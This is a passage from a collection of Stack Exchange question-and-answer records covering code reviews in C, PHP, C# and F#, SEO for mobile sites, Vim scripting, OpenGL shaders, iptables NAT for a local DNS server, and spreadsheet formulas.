organization of the prototype functions is good.You initialize your variables as soon as you create them in some areas.Things you could improve:There is a lot that could be improved in this code, so I doubt I will be able to mention them all.PreprocessorYou include both <stdio.h> and <cstdio>.#include <stdio.h>#include <conio.h>#include <stdlib.h>#include <cstdio>I couldn't get the code to compile as C code with the #include <cstdio> in there, so it should be removed.User-experienceYou ask the user if he is ready to start.printf(Would you like to start: );gets_s(another);if (another[0] != 'y' && another[0] != 'n'){    while (another[0] != 'y' && another[0] != 'n')    {        printf(\\n\\n INCORRECT ANSWER. \\n\\n);        printf(\\n Would you like to start. (y or n));        gets_s(another);    }}The user initiated your program for a reason.  Asking him if he would like start is useless, and can be frustrating to a user.  To add onto the annoyance, you then tell the user that his input is incorrect, if he doesn't input 'y', and you then loop the question. I would remove the whole thing.LogicSome of your logic can be simplified.if (status[0] == 'S' && status[1] == 'H'){    printf(\\n\\n CORRECT ANSWER. SH \\n\\n);    single_total = single_total + 1;    check = 1;}else if (status[0] == 'S' && status[1] == '\\0'){    printf(\\n\\n CORRECT ANSWER. S \\n\\n);    single_total = single_total + 1;    check = 1;}Both times you are checking if status[0] == 'S', so use that as the master if test condition.  Use the other tests as children tests.if (status[0] == 'S'){    if (status[1] == 'H') puts(Correct answer: SH);    if (status[1] == '\\0') puts(Correct answer: S);    single_total = single_total + 1;    check = 1;}Pull out the code that the original test conditions had in common to the master condition, and you have a refined test condition statement!You sometimes have logic that will print out to the console that the logic in the code is wrong.else{    printf(\\n\\n INCORRECT ANSWER. CODE IS WRONG. \\n\\n);}I would use assert() instead. If this expression evaluates to 0, this causes an assertion failure that terminates the program. Also, assertions are the right mechanism to use, since those positions in the code would only be reachable due to programmer error, not due to unanticipated runtime conditions.else{    assert(income > 30000);    adjusted_income = income * .35;}VariablesYou have a lot of magic numbers in your code.  if (income <= 6000){    adjusted_income = income * 0.0;}else if (income > 6000 && income <= 9000){    adjusted_income = income * .038;}else if (income > 9000 && income <= 15000){    adjusted_income = income * .074;}else if (income > 15000 && income <= 21000){    adjusted_income = income * .110;}else if (income > 21000 && income <= 25000){    adjusted_income = income * .138;}else if (income > 25000 && income <= 30000){    adjusted_income = income * .154;}else if (income > 30000){    adjusted_income = income * .35;}You should extract all of those numbers to variables in case you have to change them later.  Then you only have to change one number in one place, instead of changing the number in multiple different places.  What if you missed a place?Your variable char buffer[80][90] is unused and should be removed.It's generally good practice to initialize all of your non-static variables when possible.Don't use global variables.int single_total = 0;int mj_total = 0;int ms_total = 0;int sh_total = 0;The problem with global variables is that since every function has access to these, it becomes increasingly hard to figure out which functions actually read and write these variables.If you don't rely on global variables, you can pass state around between different functions as needed. That way you stand a much better chance of understanding what each function does, as you don't need to take the global state into account.SyntaxYou use too much space when printing to the console.  Also, use puts() instead of printf() in some cases where you are not actually formatting the string but just printing it with a newline character at the end.mj_total = mj_total + 1 can be simplified to mj_total += 1.InputYour code can't handle the input of a string properly.How much in other income. tenIt should tell the user that it is unacceptable input and ask for re-entry of the data.Your program can't handle the input of a malformed string properly.How much in other income. 107tIt should tell the user that it is unacceptable input and ask for re-entry of the data.Your program can't handle the input of a \\n (new-line) character (pressing enter).How much in other income. <enter>It should tell the user that it is unacceptable input and ask for re-entry of the data.Your program is very unforgiving when asking the status of the user.  printf(\\n\\nWhat is your Status: );gets_s(status);If you input a lower-case character, it won't be accepted.  Use the toupper() function on your input character to fix this.  You have this same issue when asking the user if he has more wages, dividends, etc.printf(\\n Would you like anoter. (y or n));gets(another);Here you might want to use the tolower() function."  } 
{  "id": "_webmaster.86773"  , "question": "Identical desktop and mobile URLs, no subdomain or sub-folder:Desktop URLsite-name.com<link rel=canonical href=index.php?/...>Mobile URLsite-name.com<link rel=canonical href=index.php?/...>Mobile UsabilityTouch elements too close  307Content not sized to viewport 306Small font size 170Viewport not configured 170Accessed last time: 7days agoWhat googlebot-mobile does is crawl:http://site-name.com/index.php?/.../&mobile=falseLast time: 7days agoRobots.txt:Disallow: *&mobile=falsechanges were made around 3-4 months agoWhich is a link on the mobile layout to force-switch visitors to the desktop version.All the above mobile usability issues are from the desktop version, which will obviously get all those issues.The mobile theme is live since end of March, just a little bit before the new mobile ranking rules came out.I blocked it with the robots.txt, because it created duplicate content on the desktop as well (which I now read, is not the best practice). That's why it is not just googlebot-mobile that is excluded.How do I tell googlebot-mobile to leave the desktop content alone? Should I use the URL Parameters to clear this little misunderstanding up?Thanks for any help here!"  , "title": "Why does Googlebot-Mobile crawl desktop content?"  , "tags": "seo;googlebot;mobile;googlebot mobile"  , "accepted_answer": "Looking at your setup...Identical desktop and mobile URLs, no subdomain or sub-folder:Desktop URLsite-name.com<link rel=canonical href=index.php?/...>Mobile URLsite-name.com<link rel=canonical href=index.php?/...>I see an issue. you're confusing the heck out of google. you need to create an association between desktop and mobile site, not indicate that neither is original.Here's what you doWhat you need on your desktop pages is the following between <head> and </head><link rel=alternate media=only screen and (max-width: 111px) href=http://mobilesite.example.com>...but change the 111 in 111px to the maximum number of pixels the remote device connecting your site should have for you to recommend the mobile site. Change http://mobilesite.example.com to the full URL to the mobile equivalent of the page you put the above HTML code on.Then on the mobile version, you use:Of course change http://desktop.example.com to the full URL of the desktop equivalent site.Once you do that, configure your server so mobile devices automatically are redirected to the mobile version of your site, then you can test the desktop version of the page in page-speed insights.Mobile Usability  Touch elements too close  307Content not sized to viewport 306Small font size 170Viewport not configured 170If you're getting a host of errors like this, then include this between <head> and </head> on all mobile pages:<meta name=viewport content=width=device-width,initial-scale=1>That will set the window to the actual mobile device size. then when you get errors about things that are too wide, you'll know the width limit.How do I tell googlebot-mobile to leave the desktop content alone?Earlier, you mentioned ...Which is a link on the mobile layout to force-switch visitors to the desktop version.. Don't make links to incompatible pages too easy for robots with limited capabilities to access The problem is that the link is on at least one mobile page that anyone including googlebot can access.Since google doesn't touch post-based data, what I'd suggest is to create a special warning page telling users who insist on the desktop version what they really are getting into, and if they want to continue, then they can select a button that will take them in. This is an example of how to make the button:<form action=/path/to/url-to-desktop-switcher method=POST><input type=hidden name=mydata value=1><input type=submit value=switch></form>The reason why I suggest this is because when user clicks the button, the data is sent to the server via POST method, not the GET method, and bots normally don't click form buttons.I added a hidden form item so that data can be passed into the script when the button is selected. The good news is that the button can be styled, but the bad news is that the text in the button can't have too many characters or it will be too large for the mobile screen."  } 
{  "id": "_softwareengineering.203970"  , "question": "I see that Java has Boolean (class) vs boolean (primitive).  Likewise, there's an Integer (class) vs int (primitive).  What's the best practice on when to use the primitive version vs the class?  Should I basically always be using the class version unless I have a specific (performance?) reason not to?  What's the most common, accepted way to use each?"  , "title": "When to use primitive vs class in Java?"  , "tags": "java;class;usage"  } 
{  "id": "_unix.10661"  , "question": "I just got a new, strong ubuntu desktop. First time linux user.I'm trying the Run Application app ( Alt+F2 ), try Ch for Chrome, and the app thinks for 2-3 seconds before displaying the list of apps starting with ch. This is semi-consistent - some searches are a bit faster, then they're slower again afterwards. What's up with that?"  , "title": "Why is Run Application (Alt-F2) very sluggish on a new computer?"  , "tags": "ubuntu;gnome;run dialog"  } 
{  "id": "_scicomp.10766"  , "question": "For a nonsingular lower or upper triangular square matrix $A$, how to solve such linear system in Eigen:$$A x = b$$"  , "title": "How to use TrangularView class in Eigen C++"  , "tags": "linear solver;c++;eigen"  , "accepted_answer": "As documented here:x = A.triangularView<Upper>().solve(b);orx = A.triangularView<Lower>().solve(b);"  } 
{  "id": "_unix.134998"  , "question": "This is not a What is best but a Is there any at all (and which)? question.A friend of mine wants to improve the handling of her customers' appointment wishes. The idea is that they can enter their suitable time spans on a web site and the application checks whether all of them (or: how many) can be combined.I am not familiar with this kind of optimization algorithm thus it would be much easier to use an existing tool than write one myself... Thus (if there is no such application) hints to resources about appropriate algorithms would be helpful."  , "title": "Applications for handling appointment wishes"  , "tags": "web"  } 
{  "id": "_webapps.3164"  , "question": "Can I get a single feed combining all of my subscriptions out of Google Reader?I mean I'm subscribed to 80 something feeds in Reader, and I want to use that as a single feed in another app.Is that possible? If so how?"  , "title": "Global RSS feed from Google Reader"  , "tags": "google reader;rss"  } 
{  "id": "_hardwarecs.7585"  , "question": "I'm building a custom NAS as a backup server for multiple laptops in my house. I'm planning on buying four 2TB mechanical SATA hard drives that will be run in RAID 1 (Hard drives: https://www.newegg.com/Product/Product.aspx?Item=N82E16822236342&ignorebbr=1)The drives will be going in this case here: https://www.newegg.com/Product/Product.aspx?Item=9SIA00Y50Z9087&ignorebbr=1The case has 4 SATA cable connectors that will be connected to a SATA cable to USB adapter and they will be connected to my logic boards USB ports. My question for all of you is what power supply would you recommend to power ONLY the hard drives. This power supply will not be powering my logic board. I want to make sure that I won't fry a hard drive, but I also want to make sure that the power supply has enough wattage for expansion in the future (should I need use bigger hard drives / SSDs). IMPORTANT POINTSThe hard drives must be powered by a power supply independent from my logic board. The hard drives SATA data cables must be connected to USB. Because the SATA data cables are not connected to the logic board, the power supply must provide at least 2 SATA Power Connector cables.I'm shooting in the ballpark of no more than $150. Note: I know this is a weird build and I understand the bottleneck of USB with SATA, but I want to see if this configuration is possible before completely buying all new hardware. Thanks in advance!"  , "title": "2TB NAS HDD Power Supply Recommendations"  , "tags": "hard disk;server;nas;sata"  } 
{  "id": "_codereview.67954"  , "question": "This is a PHP database class.  Yes, I know it's using the MySQL functions, which are deprecated, but I shall be updating it to MySQLi soon. Can you please review this code and give any comment on any improvements or changes you think I should make?<?phpnamespace Revolution;if(!defined('IN_INDEX')) { die('Sorry, you cannot access this file.'); }class engine{    private $initiated;    private $connected;    private $connection;    final public function __construct()     {         $this->Initiate();     }    final public function Initiate()    {        global $_CONFIG;        if(!$this->initiated)        {            $this->setMySQL('connect', mysql_connect);            $this->setMySQL('pconnect', mysql_pconnect);            $this->setMysql('select_db', mysql_select_db);            $this->setMySQL('query', mysql_query);            $this->setMySQL('num_rows', mysql_num_rows);            $this->setMySQL('fetch_assoc', mysql_fetch_assoc);            $this->setMySQL('fetch_array',mysql_fetch_array);               $this->setMySQL('result', mysql_result);            $this->setMySQL('free_result', mysql_free_result);            $this->setMySQL('escape_string', mysql_real_escape_string);            $this->initiated = true;            $this->connect($_CONFIG['mysql']['connection_type']);        }     }final public function setMySQL($key, $value){     $this->mysql[$key] = $value;}/*-------------------------------Manage Connection-------------------------------------*/final public function connect($type){    global $core, $_CONFIG;    if(!$this->connected)    {        $this->connection = $this->mysql[$type]($_CONFIG['mysql']['hostname'], $_CONFIG['mysql']['username'], $_CONFIG['mysql']['password']);        if($this->connection)        {            $mydatabase = $this->mysql['select_db']($_CONFIG['mysql']['database'], $this->connection);            if($mydatabase)            {                $this->connected = true;                }            else            {                $core->systemError('MySQL Engine', 'MySQL could not connect to database');            }        }        else        {            $core->systemError('MySQL Engine', 'MySQL could not connect to host');                  }    }}final public function disconnect(){    global $core;    if($this->connected)    {        if($this->mysql['close'])        {            $this->connected = false;        }        else        {            $core->systemError('MySQL Engine', 'MySQL could not disconnect.');        }    }}/*-------------------------------Secure MySQL variables-------------------------------------*/final public function secure($var){    return $this->mysql['escape_string'](stripslashes(htmlspecialchars($var)));}/*-------------------------------Manage MySQL queries-------------------------------------*/final public function query($sql){    return $this->mysql['query']($sql, $this->connection) or die(mysql_error());}final public function num_rows($sql){    return $this->mysql['num_rows']($this->mysql['query']($sql, $this->connection));}final public function result($sql){    return $this->mysql['result']($this->mysql['query']($sql, $this->connection), 0);}final public function free_result($sql){    return $this->mysql['free_result']($sql);}final public function fetch_array($sql){    $query = $this->mysql['query']($sql, $this->connection);    $data = array();    while($row = $this->mysql['fetch_array']($query))    {        $data[] = $row;    }    return $data;}final public function fetch_assoc($sql){    return $this->mysql['fetch_assoc']($this->mysql['query']($sql, $this->connection));}}?>"  , "title": "PHP MySQL Database class"  , "tags": "php;database;mysqli"  } 
{  "id": "_webapps.104080"  , "question": "I have a table that, for 30 people, marks their dietary needs. The first 3 rows are diet category, the remainder are restrictions:----------|Jane|Joe|Ali|Vegetarian| 1  |   |   |Vegan     |    | 1 |   |Omnivore  |    |   | 1 |No gluten |    |   | 1 |No nuts   |    | 1 |   |Now I am trying to create lists of which restrictions are associated with which dietary type- the result will be, e.g:Vegan: No nutsVegetarian: Omnivore: No glutenI've done this in a clumsy way by specifying a separate rule for every restriction- this prints the Column A value (name) of a restriction if there is any person who has that restriction and is also vegetarian: | Vegetarian | =if(SUM(FILTER(C2:AF2,NOT(ISBLANK(C5:AF5)))), A5 &  , )&if(SUM(FILTER(C2:AF2,NOT(ISBLANK(C6:AF6)))), A6 &  , )&if(SUM(FILTER(C2:AF2,NOT(ISBLANK(C7:AF7)))), A7 &  , )| Vegan      | =if(SUM(FILTER(C3:AF3,NOT(ISBLANK(C5:AF5)))), A5 &  , )&if(SUM(FILTER(C3:AF3,NOT(ISBLANK(C6:AF6)))), A6 &  , )&if(SUM(FILTER(C3:AF3,NOT(ISBLANK(C7:AF7)))), A7 &  , )Considering that the only difference for all the rules in the vegetarian food restrictions count is the column number, I'm sure there's a more effective way to do this, but I haven't worked it out. In pseudocode, what I'm looking for is something like this:A3..A5.for_each do |row_num| if(SUM(FILTER(C2:AF2,NOT(ISBLANK(Crow_num:AFrow_num)))), Arow_num &  , )end"  , "title": "What's a better way to check for the presence of a value across all rows?"  , "tags": "google spreadsheets"  , "accepted_answer": "I think the following does the job: =join(, , filter(A$6:A$10, mmult(N(C$6:AF$10), N(transpose(C2:AF2)))))The key part is matrix multiplication. Multiplying the array of preferences by the transpose of the row such as C2:AF2 results is nonzero elements corresponding to the rows where there is an overlap with C2:AF2.  Then the column with the names of restrictions is filtered by the result of multiplication, and the results joined, separated by comma-space. The N() function performs conversion of blank cells to zeros, otherwise mmult complains about non-numeric numbers.   The formula uses absolute row references for 6-10 which in my example are the rows with restrictions. The reference to row 2 (vegetarian) is relative. So, copy-pasting this formula down the column will result in correct answers for other diets."  } 
{  "id": "_unix.72504"  , "question": "I'm trying to install Red Hat on my Windows system but Im facing a problem. I get only one option during installation which is Minimal and even if I check Gnome desktop in customize options, I only get the command line after installation completes. What am I doing wrong?I'm using a USB stick to install. Also another stange thing is that I get many options alongside Minimal when installing in Virtualbox - like Desktop, Server, etc."  , "title": "Why don't I get a Gnome GUI when I install Red Hat?"  , "tags": "rhel;gnome;system installation"  } 
{  "id": "_unix.163653"  , "question": "I have a bunch of swfs, these swfs include links to other swfs inside them.I use this to convert them to xml: swf2xml Disc1.swf Disc1.swf.xml. Then I use this to remove every single line that does not include an swf link: sed -i '' '/swf/!d' Disk1.swf.xmlId like to do this with 501 different swf files, there are two challenges:I have to run the command on 500 different files and specify output.I have to sed them allIm trying to build a scriptCurrently I have thisswf2xml Disc1.swfswf2xml NV.swf..."  , "title": "How do I extract information with what I have right now?"  , "tags": "sed;conversion"  , "accepted_answer": "for swf in *.swf; do    xml=$swf.xml    swf2xml $swf $xml    sed -i '' -n '/swf/p' $xmldone"  } 
{  "id": "_vi.4920"  , "question": "I really want to know why doesn't Vim's v:lnum return 1 for very first line. I tried googling and searching in Vim's docs, but I can't find an answer. I understand that v:lnum returns line number, but I don't understand which line v:lnum is referring to..? A little aside; from help v:lnum I understand that you can only use v:lnum with some expressions including indentexpr (the one I'm interested in the most for my indentation script). workflow test 1make a .vim file. e.g check.vimappend echo v:lnumopen new vim window and :source check.vimappend some text to the file and :source check.vim againno matter how many lines I add to the file I always get 0 backI think I understand this, since Vim docs say that v:lnum only works in conjunction with some specific expressions then you would expect 0 when I'm trying to use v:lnum by itself.workflow test 2make check.vim fileappendsetlocal indentexpr=Check()function! Check()  let line = getline(v:lnum)  echo v:lnum lineendfunctionopen new vim window and :source check.vimappend some text to the file and :call Check() functionI DON'T get first line no matter what I do.. I can get any other lines.. e.g if I only type in one line into the file and :call Check() I get 0 and ''if I type in second line into the file and :call Check() I get 2 and check line two backif I keep adding lines to the file and run :call Check() on lets say the fifths line I get 5 and check line fiveI think I understand that v:lnum returns index of the last line typed into the file. But why doesn't it return the index of the very first line type?"  , "title": "Why `v:lnum` doesn't return 1 for the first line?"  , "tags": "vimscript;indentation"  , "accepted_answer": "v:lnum is a Vim internal variable, that is only valid while evaluating the indentexpr, foldexpr, formatexpr options. In other contexts this does nothing. This means, that in you indentexpr or formatexpr you can find out, what line is currently being evaluated and react accordingly.For indentexpr this means, it will get filled, once you start indenting your file, e.g. using gg=G, for formatexpr this will be evaluated when defining your foldmethod and folding is enabled and formatexpr will be evaluated using the gq command.In other context, this is really invalid. It should actually be always 0 so there might be a (minor) bug there."  } 
{  "id": "_computerscience.3885"  , "question": "I'm passing my vertex shader a bunch of vertices and color data. I would like to first render the triangles and then render a point at each vertex. The triangles render fine, but I can't think of a way to render the triangles and the points without making and calling a whole new method for rendering points, which I guess I could do, but I'd like to know if there is some shader magic that accomplish it for me.Thanks in advance!This is my vs:#version 120uniform mat4 projection;void main() {gl_Position = projection * ftransform();gl_PointSize = 1.0;gl_FrontColor = gl_Color;}This is my fs:#version 120#define point_color vec3(1,1,1)void main() {vec4 color = gl_Color;gl_FragColor = vec4(color);}This is the code behind it. I'm using lwjgl.public void render() {    glEnableClientState(GL_VERTEX_ARRAY);    glEnableClientState(GL_COLOR_ARRAY);    glEnable(GL_PROGRAM_POINT_SIZE);    glBindBuffer(GL_ARRAY_BUFFER, VBO_id);    glVertexPointer(3, GL_FLOAT, 0, 0);    glBindBuffer(GL_ARRAY_BUFFER, c_id);    glColorPointer(4, GL_FLOAT, 0, 0);    glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, i_id);    glDrawElements(GL_TRIANGLES, draw_count, GL_UNSIGNED_INT, 0);    glDrawArrays(GL_POINTS, 0, draw_count_v);    glBindBuffer(GL_ARRAY_BUFFER, 0);    glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0);    glDisableClientState(GL_VERTEX_ARRAY);    glDisableClientState(GL_COLOR_ARRAY);    glDisable(GL_PROGRAM_POINT_SIZE);}"  , "title": "Can I use the same vertices to render multiple things?"  , "tags": "opengl;rendering;glsl"  , "accepted_answer": "If your intention is to render some textured or colored triangles and points colored diferently at the same time at vertex postions with one draw call:glDrawElements(GL_TRIANGLES, draw_count, GL_UNSIGNED_INT, 0);In order to access vertex data in vertex shader, you can create vertex array object which references to vertex buffer object with data you provided (vertices) for example at index 0.then in vertex shader you have:layout (location = 0) in vec3 vPosition; //positions for each vertexYou might then do something like that (vertex shader):flat out vec3 fpos; //not interpolated verticesout vec3 pos; //interpolated vertices (for default)void main(void){  pos = vPosition;  fpos = vPosition;}And then in fragment shader:if(length(fpos-pos)<threshold) //small threshold fragColor = pointColor;else fragColor = triangleColor;"  } 
{  "id": "_softwareengineering.351721"  , "question": "Consider this simplified example: In an online ticket sale website, tickets have variable prices that change over time. User searches for tickets. Once he finds a ticket he wants, clicks Buy and then a quote is issued. Quotes are persisted and they have they own locator that is sent by email. The quote page opens, showing the breakdown of what he is going to pay, and a button to pay. At this point, the ticket is still available for others. If the user clicks on Pay now, a payment process starts and a Purchase Order is issued with his details.When a purchase order is paid, the quote status must be set as Accepted and reference the purchase order; the ticket status is set as Sold. As per requirements, this must happen in an atomic fashion, meaning that it is not acceptable to have a paid purchase order referencing a non accepted quote, or a non sold ticket at any given time. Essentially, eventual consistency is not allowed.There are two big aggregates, Quote and PurchaseOrder. The first manages the breakdown calculation, taxes, etc... The second manages payment details for a quote, payment event raising, etc... The problem I have is that right now it seems I have to use a transaction across ticket, quote and purchase order when the last is paid.How may I model this honoring the Transactions should not cross aggregate boundaries rule?"  , "title": "How can I avoid a cross aggregate transaction?"  , "tags": "design;domain driven design;transaction;aggregate"  } 
{  "id": "_unix.78980"  , "question": "I have my keyboard layouts (two of them) and switching between them configured via the following command:setxkbmap -layout us,ru -option -option grp:lctrl_lshift_toggle,ctrl:nocapsNow I want to switch to us layout, using some command line command. Is that possible?"  , "title": "How do I change currently selected keyboard layout from command line?"  , "tags": "x11;keyboard;keyboard layout;xkb"  , "accepted_answer": "You could use xkb-switch (-n switches to next layout):xkb-switch -nor xkblayout-state (with set +1 to wrap around, in your case) :xkblayout-state set +1or xte from xautomation to simulate Control_L+Shift_L key press/release:xte 'keydown Control_L' 'keydown Shift_L' 'keyup Shift_L' 'keyup Control_L'"  } 
{  "id": "_codereview.131507"  , "question": "I want to extract the creation of different objects in a factory class for the reason of reusability. The problem is that within the current code the objects are configured also for the specific problem. Now I want to reuse only the creation of the objects within another code place. if (FieldConfiguration.FIELD_TYPE.TEXTFIELD == type)            {                TextField textField = new TextField(caption);                textField.setNullRepresentation();                bind(textField, propertyId);                field = textField;                if (field.getValue() == null && isNestedProperty)                {                    ObjectProperty property = new ObjectProperty(, String.class);                    textField.setPropertyDataSource(property);                }            }            else if (FieldConfiguration.FIELD_TYPE.SEARCHFIELD == type)            {                SearchBox searchField = new SearchBox(caption);                bind(searchField, propertyId);                field = searchField;            }            else if (FieldConfiguration.FIELD_TYPE.DATEFIELD == type)            {                DateField dateField = new DateField();                dateField.setCaption(caption);                dateField.setDateFormat(UilibI18N.dateFormat.getText());                dateField.setResolution(Resolution.DAY);                bind(dateField, propertyId);I want to reuse only the creation of the objects at another code place too, can anybody give me a hint what's the right way to extract the creation logic?"  , "title": "Factory for object init and configuration"  , "tags": "java"  } 
{  "id": "_webmaster.29481"  , "question": "I have: www.mywebsite.com which redirects to en.mywebsite.com, es.mywebsite.com, fr.mywebsite.com depending on the user language, so there's not an indexed website in www.mywebsite.comHowever, when I put links to my website in other websites, I do not do it directly to the subdomain:Instead of this:http://fr.mywebsite.com/article/article123/I do this:http://www.mywebsite.com/article/article123/So the user gets redirected to that article in his language, or english if the user's language is not avaiable:http://en.mywebsite.com/article/article123/My question is, how do this affect SEO? Will the subdomains benefit from the backlinks? or just the main domain? (which would be a problem as there's no real content indexed there)."  , "title": "SEO: Linking to a domain that redirects to a subdomain"  , "tags": "seo;domains;redirects;subdomain"  } 
{  "id": "_codereview.11858"  , "question": "These are the steps to determine coordinates of the 4 points (P1, P2, P3, P4) that make up a tangential trapezoid connecting to circles. Another way of looking at it is to think of the tangential segments of being the parts of a belt that would not be wrapped around the pulleys. The math should work regardless of the orientation of the two circles in coordinate space.Code (usage @ bottom):internal class TrapezoidBuilder{    private const double RadiansToDegrees = 180/Math.PI;    private readonly double _bufferDistanceC0;    private readonly double _bufferDistanceC1;    private readonly Point _pointC0;    private readonly Point _pointC1;    public TrapezoidPoints TrapezoidPoints;    public TrapezoidBuilder(Point pointC0, Point pointC1, double bufferDistanceC0, double bufferDistanceC1)    {        _pointC0 = pointC0;        _pointC1 = pointC1;        _bufferDistanceC0 = bufferDistanceC0;        _bufferDistanceC1 = bufferDistanceC1;        TrapezoidPoints = new TrapezoidPoints();        CalculateTrapezoidPoints();    }    public void CalculateTrapezoidPoints()    {        // Get the angle of the line C0-C1 in degrees. This will be used in conjunction with angleA to determine the vector of these points        double angleRelativeToPositiveXAxis = CalculateAngleRelativeToXAxis(_pointC0, _pointC1);        // Get angleA        double angleA = CalculateAngleA(_pointC0, _pointC1, _bufferDistanceC0, _bufferDistanceC1);        ////  Calculate P1 and P2 coordinates first        double positiveAngle = angleRelativeToPositiveXAxis + angleA;        double cosPositiveAngle = Math.Cos(positiveAngle/RadiansToDegrees);        double valueToAddToC0X = cosPositiveAngle*_bufferDistanceC0;        // Set P1's X coordinate        TrapezoidPoints.P1.X = _pointC0.X + valueToAddToC0X;        double valueToAddToC1X = cosPositiveAngle*_bufferDistanceC1;        // Set P2's X coordinate        TrapezoidPoints.P2.X = _pointC1.X + valueToAddToC1X;        double sinPositiveAngle = Math.Sin(positiveAngle/RadiansToDegrees);        double valueToAddToC0Y = sinPositiveAngle*_bufferDistanceC0;        // Set P1's Y coordinate        TrapezoidPoints.P1.Y = _pointC0.Y + valueToAddToC0Y;        double valueToAddToC1Y = sinPositiveAngle*_bufferDistanceC1;        // Set P2's Y coordinate        TrapezoidPoints.P2.Y = _pointC1.Y + valueToAddToC1Y;        ////  Calculate P3 and P4 coordinates        double negativeAngle = angleRelativeToPositiveXAxis - angleA;        double cosNegativeAngle = Math.Cos(negativeAngle/RadiansToDegrees);        valueToAddToC0X = cosNegativeAngle*_bufferDistanceC0;        // Set P4's X coordinate        TrapezoidPoints.P4.X = _pointC0.X + valueToAddToC0X;        valueToAddToC1X = cosNegativeAngle*_bufferDistanceC1;        // Set P3's X coordinate        TrapezoidPoints.P3.X = _pointC1.X + valueToAddToC1X;        double sinNegativeAngle = Math.Sin(negativeAngle/RadiansToDegrees);        valueToAddToC0Y = sinNegativeAngle*_bufferDistanceC0;        // Set P4's Y coordinate        TrapezoidPoints.P4.Y = _pointC0.Y + valueToAddToC0Y;        valueToAddToC1Y = sinNegativeAngle*_bufferDistanceC1;        // Set P3's Y coordinate        TrapezoidPoints.P3.Y = _pointC1.Y + valueToAddToC1Y;        Debug.WriteLine(C0    + _pointC0.X +     + _pointC0.Y);        Debug.WriteLine(C1    + _pointC1.X +     + _pointC1.Y);        Debug.WriteLine(P1    + TrapezoidPoints.P1.X +     + TrapezoidPoints.P1.Y);        Debug.WriteLine(P2    + TrapezoidPoints.P2.X +     + TrapezoidPoints.P2.Y);        Debug.WriteLine(P3    + TrapezoidPoints.P3.X +     + TrapezoidPoints.P3.Y);        Debug.WriteLine(P4    + TrapezoidPoints.P4.X +     + TrapezoidPoints.P4.Y);    }    private double CalculateAngleA(Point pointC0, Point pointC1, double radius0, double radius1)    {        double xDistance = pointC1.X - pointC0.X;        double yDistance = pointC1.Y - pointC0.Y;        double distance = Math.Sqrt((xDistance*xDistance) + (yDistance*yDistance));        double radius2 = radius0 - radius1;        double cosA = radius2/distance;        double angleAInRadians = Math.Acos(cosA);        double angleAInDegrees = angleAInRadians*RadiansToDegrees;        return angleAInDegrees;    }    private double CalculateAngleRelativeToXAxis(Point point0, Point point1)    {        try        {            // In order to use ATAN2, point C1 has to be considered as the origin, i.e. 0, 0.             // So C1x is subtracted from C2x and C1y from C2y. Note that its important to subtract             // the 1st value from the 2nd to help determine which quadrant the angle is in.            double x = point1.X - point0.X;            double y = point1.Y - point0.Y;            // Get the angle in radians            double angleInRadians = Math.Atan2(x, y);            // Convert to degrees            double angleInDegrees = angleInRadians*RadiansToDegrees;            // Subtract from 90 to get the angle relative to the positive X-axis            double relativeAngleInDegrees = 90 - angleInDegrees;            // Return result            return relativeAngleInDegrees;        }        catch (Exception err)        {            Debug.WriteLine(err.Message);        }        // If no result, return zero        return 0;    }}internal class TrapezoidPoints{    public Point P1;    public Point P2;    public Point P3;    public Point P4;}// UsagePoint C1 = new Point(5,7);Point C2 = new Point(6.516, 7.875);double buffer0 = 1;double buffer1 = .375;var trapezoidBuilder = new TrapezoidBuilder(C1, C2, buffer0, buffer1);"  , "title": "C# code to derive tangential points between two circles to create a trapezoid"  , "tags": "c#;computational geometry"  } 
{  "id": "_unix.340975"  , "question": "I have a Bind9 on a host.I have several guest virtual machines.I want my virtual machines to use the Bind9 located on the host.  I know how to make Bind9 accept requests from my vitual machines (listen-on + allow-recursion).I want to achieve it using iptables/netfilter, without modifing Bind9 configuration (aka listen only on 127.0.0.1).--> this is just a local port redirection. I know how to do it with socat, but I'm stuck when doing it with iptables/netfilterBind listen only on 127.0.0.1, so the packets must originate from 127.0.0.1The virtual machines are on a bridge vmbr0 10.10.10.0/24The host is also on the bridge at 10.10.10.1Should I make the packets enter into a custom chain, then DNAT+SNAT them, or is there a simplier way?I did that (but does not work):sysctl -w net.ipv4.conf.vmbr0.route_localnet=1     # not sure if necessary. Let's see that when everything will workiptables  --table nat  --new-chain dns-preroutingiptables  --table nat  --append PREROUTING  --source 10.10.10.0/24  --destination 10.10.10.1  --protocol udp  --destination-port 53  --jump dns-preroutingiptables  --table nat  --append PREROUTING  --source 10.10.10.0/24  --destination 10.10.10.1  --protocol tcp  --destination-port 53  --jump dns-preroutingiptables  --table nat  --new-chain dns-postroutingiptables  --table nat  --append POSTROUTING  --source 10.10.10.0/24  --destination 127.0.0.1  --protocol udp  --destination-port 53  --jump dns-postroutingiptables  --table nat  --append POSTROUTING  --source 10.10.10.0/24  --destination 127.0.0.1  --protocol tcp  --destination-port 53  --jump dns-postroutingiptables  --table nat  --append dns-prerouting   --jump DNAT  --to-destination 127.0.0.1iptables  --table nat  --append dns-postrouting  --jump SNAT  --to-source      127.0.0.1"  , "title": "Common DNS for virtual machines - with iptables/netfilter"  , "tags": "iptables;port forwarding;bind;nat"  , "accepted_answer": "You have to use sysctl -w net.ipv4.conf.XXX.route_localnet=1 as you did, but probably on the virtual Ethernet interface.This allow the kernel to keep martin packets.  Also keep in mind that locally generated packets does not pass into the PREROUTING chain. So you have to use the OUTPUT chain.And finally don't try to NAT for this very special case. Use --jump TPROXY instead.I can't give you a working example by memory, you have to find the exact setup. Then please complete the answer for future reference."  } 
{  "id": "_codereview.54713"  , "question": "I'm following thislet StringOfLengthConstructor<'c> (input:string, length:int, defaultConstructor:string->'c) =    match input with    | null -> None    | x when x.Length = length -> Some(defaultConstructor(input))    | _ -> Nonetype String3 = | String3 of stringlet String3 input = StringOfLengthConstructor<String3>(input, 3, String3)    type String4 = | String4 of stringlet String4 input= StringOfLengthConstructor<String4>(input, 4, String4)type String5 = | String5 of stringlet String5 input = StringOfLengthConstructor<String5>(input, 5, String5)type String6 = | String6 of stringlet String6 input = StringOfLengthConstructor<String6>(input,6, String6)and am trying to make more of these with hopefully less repetition. Can this be done without having to repeat type String3 =| String3 of string followed by this?let String3 input = StringOfLengthConstructor<String3>(input, 3, String3)  See all the repetition?  For the purpose of defining a zip code, a US zip code could be defined astype ZipCode = | Us of String5ortype ZipCode = | Us of String5*(String4 option) | Canadian of String3*String3"  , "title": "Defining a zip code string"  , "tags": "strings;f#"  , "accepted_answer": "The solution can be made cleaner by re-arranging the order of the 